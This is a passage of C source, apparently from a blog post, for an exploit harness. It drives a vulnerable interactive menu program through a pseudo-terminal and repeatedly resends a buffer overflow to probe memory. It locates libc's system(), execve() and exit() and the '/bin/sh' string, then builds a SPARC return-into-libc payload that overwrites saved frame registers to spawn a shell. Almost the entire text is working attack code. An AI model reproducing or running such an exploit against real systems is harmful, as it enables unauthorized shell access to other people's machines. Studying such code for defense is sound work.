(updown) { //bon = 2; count++; } // we're going to do stuff and then: char c; c = ( calc_RA >> 24 ) & 0xff; buff2[1100] = c; c = ( calc_RA >> 16 ) & 0xff; buff2[1101] = c; c = ( calc_RA >> 8 ) & 0xff; buff2[1102] = c; c = ( calc_RA ) & 0xff; buff2[1103] = c; char msg[100]; sprintf(msg,"RA = %4x\n", calc_RA); //char success[] = "success"; write (STDOUT_FILENO,msg,14); continue; } else if (strchr(buff, CTRL_P)) // CTRL-P This works! { CTRL_Peek(); } else if (strchr(buff, 0xE)) // CTRL-N This works! IT IS BAD IDEA TO USE CTRL-M. Thats enter key! { char buf[50]; unsigned long addr; fprintf(stderr, "Enter addr: "); scanf("%s", &buf); addr = strtoul( buf, (void *)0, 0 ); if (addr == 0) fprintf(stderr, "crap something crapped out in conversion"); //selection = getchar(); //selection = (selection - '0') % 48; fprintf(stderr, "0x%lx\n", addr); continue; } else if (strchr(buff, CTRL_BACKSLASH)) { stty_raw(fd_slave); continue; } else if (strchr(buff, CTRL_CLOSED_BRACKET)) { stty_cooked(fd_slave); continue; } //write (logfd, buff, n); write (fd_master, buff, n); } if (FD_ISSET(fd_master, &readset)) { if ((n = read(fd_master, buff, BUFF_SIZE)) < 1) exit (0); buff[n]=0; if (automate) { if (peek_libc) { if (peek_system) { //static char count=0; char *matchone = strstr(buff, SYSTEM_LINE_STR); if (matchone) { char buf[10000]; //char *match2; uint32_t *p_target_op; // 2 stages static uint32_t call_execve_addr=0; static uint32_t save_addr=0; matchone += 4; // " 1) " strcpy(buf,matchone); p_target_op = (uint32_t *)&buf[0]; printf ("p_target_op = %lx\n", *p_target_op); //if (system_stage == 0) //{ uint32_t *PC = &libc_system_addr; if (libc_execve_addr == 0) { print ("Bad Execve addr. Did you set it?\n"); automate=0; peek_system=0; } uint32_t *DEST = &libc_execve_addr; uint32_t call_op; if (*PC > *DEST) { call_op = ( ( ( (*PC - *DEST) ^ 0xFFFFFFFF) + 1) >> 2) | 0x40000000; } else { call_op = ( (*DEST - *PC) >> 2) | 0x40000000; } if (call_op == *p_target_op) { char addrbuff[50]; // if (save_addr == 0) { print ("ERROR: no save ADDR??!!?\n"); } call_execve_addr = libc_system_addr; sprintf (addrbuff, "call <execve> @ 0x%4lx\nsystem() @ 0x%4lx\n", call_execve_addr,save_addr); write (logfd, addrbuff, strlen(addrbuff)); print (addrbuff); // stage++; } /*} else {*/ if ( ((*p_target_op & SAVE_SKELETON) == SAVE_SKELETON) && !(*p_target_op & SAVE_SKELETON_MUSTBEZERO_BITMASK) ) { save_addr = *PC; //char addrbuff[50]; //sprintf (addrbuff, "save@ 0x%4x\n", libc_execve_addr); //write (logfd, addrbuff, strlen(addrbuff)); //write (STDOUT_FILENO, buff, match2-buff); print ("save @ 0x%lx", save_addr); } //} } } if (peek_execve) { fprintf(stderr, "Execve Trap Peek: 0x%04lx", libc_execve_addr); //static char count=0; char *matchone = strstr(buff, EXECVE_LINE_STR); if (matchone) { char *match2; matchone += 4; // " 1) " if ( (match2=strstr(matchone, EXECVE_TRAP_STR)) ) { if (match2 > matchone) { libc_execve_addr += (match2 - matchone); } automate =0; peek_execve=0; char addrbuff[50]; sprintf (addrbuff, "execve@ 0x%4x\n", libc_execve_addr); write (logfd, addrbuff, strlen(addrbuff)); //write (STDOUT_FILENO, buff, match2-buff); print ("execve found at 0x%lx", libc_execve_addr); } } } if (peek_exit) { //static char count=0; char *matchone = strstr(buff, EXIT_LINE_STR); if (matchone) { matchone += 4; // " 1) " //fprintf(stderr, "MATCH ONE"); char *match2; if ( (match2=strstr(matchone, RET_RESTORE_STR)) ) { fprintf(stderr, "MATCH# %d: ", libc_exit_possible_match); fprintf(stderr, "Exit() Peek: 0x%04lx\n", libc_exit_addr); if (libc_exit_possible_match == 0) { if (match2 > matchone) { libc_exit_addr += (match2 - matchone); } libc_exit_addr_start = libc_exit_addr; automate =0; peek_exit=0; char addrbuff[50]; sprintf (addrbuff, "Ret/Restore@ 0x%4x\n", libc_exit_addr_start); write (logfd, addrbuff, strlen(addrbuff)); //write (STDOUT_FILENO, buff, match2-buff); print ("Ret/Restore found at 0x%lx", libc_exit_addr); retrestore_addr = libc_exit_addr; //continue; } if (exit_map[libc_exit_possible_match].offset == 0) { char addrbuff[50]; automate =0; peek_exit=0; // NEED TO SPECIFY //uint32_t *addr = (uint32_t *)&buff3[1560]; sprintf (addrbuff, "Exit()@ 0x%4x\n", libc_exit_addr_start); // log the address!! write (logfd, addrbuff, strlen(addrbuff)); } libc_exit_addr += exit_map[libc_exit_possible_match++].offset; //libc_exit_possible_match++; } else if (libc_exit_possible_match) { libc_exit_possible_match=0; libc_exit_addr = libc_exit_addr_start; } /*else if (count) {automate = 0;} else count++;*/ } } if (peek_binsh) { if (strstr(buff, "1) /bin/sh")) { char addrbuff[50]; uint32_t *addr = (uint32_t *)&buff3[1560]; sprintf (addrbuff, "\"/bin/sh\\0\"@ 0x%4x\n", *addr); // log the address!! print ("\"/bin/sh\" found @ 0x%lx", *addr); write (logfd, addrbuff, strlen(addrbuff)); // take a pause, stop searching binsh automate = 0; peek_binsh=0; } } } // currently designed to be in the first entry of ParamSet!! else if (peek_stack) // look for Groups() return address signature :) { if (strstr(buff, "1) \x01\x14\x24")) { char addrbuff[50]; uint32_t i7addr, fpaddr, fsf1_sp, fsf2_sp; uint32_t *paddr = (uint32_t *)&buff3[1560]; // will have to be modified to REFLECT VARIABLE INDEX // this addr is Groups() %i7 +1 (whole address is 0x00011424, had to skipp null byte) i7addr = *paddr-1; fpaddr = *paddr-5; // Groups() has 0×40 bytes free at 0×44 bytes after the overwritten %i7 fsf1_sp = i7addr + 0x44; print("FOUND fsf1_sp @ 0x%lx", fsf1_sp); sprintf (addrbuff, "%%fsf1_sp@ 0x%4x -- this goes in regular buffer %%fp\n", fsf1_sp); paddr = (uint32_t *)&buff2[buff2_fp_offset]; *paddr = fsf1_sp; // the following should be put when LIBC values are KNOWN/ // this si JUST A TEST paddr = (uint32_t *)&buff2[buff2_i7_offset]; //*paddr = libc_system_addr; *paddr = retrestore_addr-8; // Group() count variable paddr = (uint32_t *)&buff2[buff2_i7_offset+0x2C]; *paddr = 4; // set the Groups()'s count variable > 0 so we can quit out // the following would be to system() - 4 (skip save) paddr = (uint32_t *)&buff2[buff2_i7_offset-4]; *paddr = fsf1_sp; // set it // "/bin/sh" paddr = (uint32_t *)&buff2[buff2_fsf1_i0]; *paddr = libc_binsh_addr; // 0xff32a240; paddr++; *paddr = fsf1_sp+(18*4); paddr++; *paddr = fsf1_sp+(19*4); // let's make the **argv // paddr = (uint32_t *)&buff2[buff2_fsf1_fp]; // known good values are fpaddr-0x200 and fpaddr+0x100 *paddr = fpaddr-0x200; // exit() if (!(*paddr & 0x0000ff00)) { *paddr|=0x100; } if (!(*paddr & 0x000000ff)) { *paddr+=4; } paddr = (uint32_t *)&buff2[buff2_fsf1_i7]; //*paddr = libc_exit_addr; // 0xff31ff98; // exit() *paddr = libc_execve_addr-8; paddr += 3; *paddr = libc_binsh_addr; ///////// // Do appropriate math // log the address!! write (logfd, addrbuff, strlen(addrbuff)); automate = 0; } } static char first_hit=1; // THIS STUFF ALWAYS GET AUTOMATED.. if (strstr(buff, "Press RETURN to continue.")) { // send CTRL-J fprintf (stderr, "1"); write (fd_master, "\n", 1); } else if (strstr(buff, "Do you already have an account with us (y or n)?")) { write (fd_master, "n\n", 2); } else if (strstr(buff, "Login name?")) { write (fd_master, "n\n", 2); } else if (strstr(buff, "Full name?")) { write (fd_master, "n\n", 2); } else if (strstr(buff, "Password:")) { write (fd_master, "n\n", 2); } else if (strstr(buff, "Again:")) { write (fd_master, "n\n", 2); } else if (strstr(buff, "Menu item number [1-7] or command [tpx?] :")) { write (fd_master, "1\n", 2); } else if (strstr(buff, "command [cptqx?]")) { //fprintf(stderr, "BAM!!!!!"); // set a flag to start tracking for /bin/sh if it's not already set/ // or just do it everytime (will miss the first time no matter what) // update the address //uint32_t pa = peek_addr; if (!first_hit) { if (peek_stack) { peek_addr+=4; if ( peek_addr >= 0xffbeffff ) //0xFF32C000) // libC max address { peek_addr = 0xffbefff0; //0xff32c000-4; automate=0; fprintf (stderr, "Exhausted search. Shut off automation\n"); } fprintf(stderr, "Stack Peek: 0x%04lx", peek_addr); } if (peek_libc) { if (peek_binsh) { libc_binsh_addr+=4; if (libc_binsh_addr >= libc_MAX_addr-0x08) { automate = 0; } fprintf(stderr, "\"/bin/sh\" Peek: 0x%04lx", libc_binsh_addr); } if (peek_execve) { libc_execve_addr+=4; if (libc_execve_addr >= libc_MAX_addr-0x08) { automate = 0; } } if (peek_system) { if (!libc_system_possible_match) { libc_system_addr+=4; if (libc_system_addr >= libc_MAX_addr-0x08) { automate = 0; } fprintf(stderr, "System Peek: 0x%04lx", libc_system_addr); } } if (peek_exit) { if (!libc_exit_possible_match) { libc_exit_addr+=4; if (libc_exit_addr >= libc_MAX_addr-0x08) { automate = 0; } fprintf(stderr, "Exit() Peek: 0x%04lx", libc_exit_addr); } } } } first_hit=0; write_peek_addrs(); // resend the buffer usleep(100); send_peek_overflow(); } else if (strstr(buff, "Do you want to just forget the whole thing (y or n)?")) { write (fd_master, "y\n", 2); } else if (strstr(buff, "--More--")) { write (fd_master, "q", 1); } } if (strchr(buff,3)) // CTRL-D { static int count=0; count++; if (count == 10) { //if (kill (cpid, 9) < 0) //perror ("kill child"); //exit(1); } //write(STDOUT_FILENO, "SUCCESS DETECTED\n", 17); continue; } //if (!automate) write (STDOUT_FILENO, buff, n); } } if (close(fd_master) < 0) perror("Close master failed: "); printf("Closed master\nQuitting..\n"); printf("Waiting for child..\n"); sleep(1); wait(&cexit); } else { perror("Fork failed\n"); } return 0; } // <br/>
Leave a Reply